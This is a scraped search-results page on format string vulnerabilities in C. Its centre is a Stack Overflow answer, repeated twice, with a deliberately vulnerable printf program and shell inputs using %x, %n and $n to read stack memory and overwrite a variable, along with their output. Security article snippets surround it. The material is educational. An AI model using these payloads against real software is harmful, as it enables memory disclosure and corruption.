You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

Answer from Michael F on Stack Overflow
🌐
Syracuse University
surface.syr.edu › cgi › viewcontent.cgi pdf
Buffer Overflow and Format String Overflow Vulnerabilities
It overflows the buffer using the minimum field · width specifier of a format directive. In the function in Figure 31, safebuf cannot be overflowed · through the parameter user due to the use of snprintf, so the stack-smashing attack cannot · exploit this program. The safebuf, however, is the format string of the next sprintf, so it will be
🌐
OWASP Foundation
owasp.org › www-community › attacks › Format_string_attack
Format string attack | OWASP Foundation
The printf in the second line will interpret the %s%s%s%s%s%s in the input string as a reference to string pointers, so it will try to interpret every %s as a pointer to a string, starting from the location of the buffer (probably on the Stack).
🌐
YouTube
youtube.com › watch
7: Format String Vulnerabilities (printf) - Buffer Overflows - Intro ...
To learn more, please visit the YouTube Help Center: https://www.youtube.com/help
Top answer
1 of 6
98

You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

2 of 6
21

It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:

"%200$p"

to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).

However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.


* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.

🌐
ACM Digital Library
dl.acm.org › doi › abs › 10.1002 › spe.515
Buffer overflow and format string overflow vulnerabilities | Software
Numerous incidents of buffer overflow attacks have been reported and many solutions have been proposed, but a solution that is both complete and highly practical is yet to be found. Another kind of vulnerability called format string overflow has recently been found and although not as widespread as buffer overflow, format string overflow attacks are no less dangerous.This article surveys representative techniques of exploiting buffer overflow and format string overflow vulnerabilities and their currently available defensive measures.
🌐
Stack Overflow
stackoverflow.com › questions › 20502476 › buffer-overflow-format-string
Buffer Overflow: Format String - Stack Overflow
July 4, 2017 - Which input string should an attacker enter to get exactely the content of pw ? void func(char *in) { char *pw = "53cr37p455"; printf(in); } void func2(void) { printf("Dummy string.\n"); } ...
🌐
Syracuse University
surface.syr.edu › eecs › 96
"Buffer Overflow and Format String Overflow Vulnerabilities" by Kyung-suk Lhee and Steve J. Chapin
This article surveys representative techniques of exploiting buffer overflow and format string overflow vulnerabilities and their currently available defensive measures. We also describe our buffer overflow detection technique that range checks the referenced buffers at run time.
Find elsewhere
🌐
Infosec Institute
resources.infosecinstitute.com › topic › buffer-overflow-format-string-attacks-basics-part-1
Buffer overflow and format string attacks: the basics | Infosec
July 30, 2015 - It is the same case with buffer overflow, which occurs when more data is added than a variable can hold. It will then move out into the adjacent memory locations. Now you must be asking, "So what?" Only data is being spilled, after all. Now imagine that someone has issued a command and the ...
🌐
Fortify
vulncat.fortify.com › en › detail
Software Security | Buffer Overflow: Format String
The combination of memory manipulation and mistaken assumptions about the size or makeup of a piece of data is the root cause of most buffer overflows. In this case, an improperly constructed format string causes the program to write beyond the bounds of allocated memory.
🌐
Kayssel
kayssel.com › post › format-string-and-buffer-overflow
Mastering Binary Exploitation: Unleashing the Power of Format String and Buffer Overflow
January 8, 2024 - This peculiar use of the format string opens avenues for memory data manipulation. A Note on Stack Status: It’s important to remember that the actual stack status might vary in practice, which we will explore as we progress. ... Our primary goal with this exploit, as with many others, is to cleverly execute code by leveraging the design of the program. Let’s explore our approach: Buffer Overflow Consideration: The most straightforward tactic might seem to be a buffer overflow attack to alter the return address.
🌐
MathWorks
mathworks.com › polyspace bug finder › reviewing and reporting results › polyspace bug finder results › defects › static memory defects
Destination buffer overflow in string manipulation - Function writes to buffer at offset greater than buffer size - MATLAB
For instance, when calling the function sprintf(char* buffer, const char* format), you use a constant string format of greater size than buffer. Buffer overflow can cause unexpected behavior such as memory corruption or stopping your system.
🌐
SecureCoding
securecoding.com › home › blog › all you need to know about format string vulnerabilities
Format String Vulnerabilities Explained | SecureCoding.com
January 13, 2021 - In buffer overflow, the programmer ... to adjacent memory locations. But in format string exploits, user-supplied input is included in the format string argument....
🌐
Stanford
cs155.stanford.edu › papers › formatstring-1.2.pdf pdf
Exploiting Format String Vulnerabilities scut / team teso September 1, 2001
September 1, 2001 - we can extend its length by abusing format string parameters. Since the · second sprintf is not checking the length, this can be used to break out · of the boundaries of outbuf. Now we write a return address (0xbfffd33c) and exploit it just the old known way, as we would do it with any buffer · overflow.
🌐
Stanford Cryptography
crypto.stanford.edu › cs155old › cs155-spring03 › lecture3.pdf pdf
1 1 Buffer Overflow Attacks and Format String bugs 2 Extremely common bug.
Buffer Overflow Attacks · and Format String bugs · 2 · Extremely common bug. • First major exploit: 1988 Internet Worm. fingerd. 10 years later: over 50% of all CERT advisories: • 1997: 16 out of 28 CERT advisories. • 1998: 9 out of 13 -”- • 1999: 6 out of 12 -”- Often leads to total compromise of host.
🌐
ResearchGate
researchgate.net › publication › 47329636_Buffer_Overflow_and_Format_String_Overflow_Vulnerabilities
Buffer Overflow and Format String Overflow Vulnerabilities | Request PDF
April 25, 2003 - This article surveys representative techniques of exploiting buffer overflow and format string overflow vulnerabilities and their currently available defensive measures. We also describe our buffer overflow detection technique that range checks the referenced buffers at run-time.
🌐
Infosec Institute
infosecinstitute.com › resources › hacking › buffer-overflow-format-string-attacks-basics-part-2
Buffer overflow & format string attacks: More basics | Infosec
Look at the above stack diagram and the next value in the stack after input is of integer 'a' which is set to 1, so now there are total of five characters in the buffer (4 ASCII+ 1 decimal). So the stack will become like this · After this, the next thing that comes in the input is '%n' and as stated earlier this format string is used to store the number of characters, which in this case is 5, and write it in the memory of the next argument.
🌐
Fortinet
fortinet.com › resources › cyberglossary › buffer-overflow
What Is Buffer Overflow? Attacks, Types & Vulnerabilities | Fortinet
Another scenario for buffer overflow is when data properties are not verified locally. The function ‘lccopy()’ takes a string and returns a heap-allocated copy with uppercase letters changed to lowercase. The function does not perform bounds-checking as it expects ‘str’ to be smaller than ‘BUFSIZE’. An attacker can bypass the code or change the assumption of the size to overflow the buffer.
🌐
YouTube
youtube.com › cryptocat
7: Format String Vulnerabilities (printf) - Buffer Overflows - Intro to Binary Exploitation (Pwn) - YouTube
7th video from the "Practical Buffer Overflow Exploitation" course covering the basics of Binary Exploitation. In this video we'll look at format string vuln...
Published   March 24, 2022
Views   14K